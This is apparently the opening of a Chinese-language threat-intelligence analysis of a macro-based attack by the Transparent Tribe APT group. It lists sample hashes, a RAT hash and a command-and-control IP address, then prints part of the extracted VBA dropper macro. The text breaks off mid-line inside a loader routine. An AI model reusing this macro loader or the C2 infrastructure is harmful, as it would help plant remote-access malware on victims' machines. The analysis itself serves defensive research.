背景:“透明部落”(Transparent Tribe)是一个南亚来源具有政府背景的APT组织,其长期针对周边国家和地区的军队和政府机构实施定向攻击。
一、恶意分析
1.样本
文件 | 1cb726eab6f36af73e6b0ed97223d8f063f8209d2c25bed39f010b4043b2b8a1 |
MD5 | 62fd4ce258492921bdfc8c04d056cab8 |
利用方式 | 宏 |
RAT MD5 | 48476da4403243b342a166d8a6be7a3f |
C2 | 198.46.177.73 |
宏提取如下所示:
Attribute VB_Name = "Module1"
Sub unzip(Fname As Variant, FileNameFolder As Variant)
Dim FSO As Object
Dim oApp As Object
unzip(zip__file, fldr__name)
'Extract the files into the Destination folder
Set oApp = CreateObject("Shell.Application")
oApp.Namespace(FileNameFolder).CopyHere oApp.Namespace(Fname).items, &H4
End Sub
Sub fileLdr()
Dim path__file As String
Dim file__name As String
Dim zip__file As Variant
Dim fldr__name As Variant
file__name = "ulhtagnias"
fldr__name = Environ$("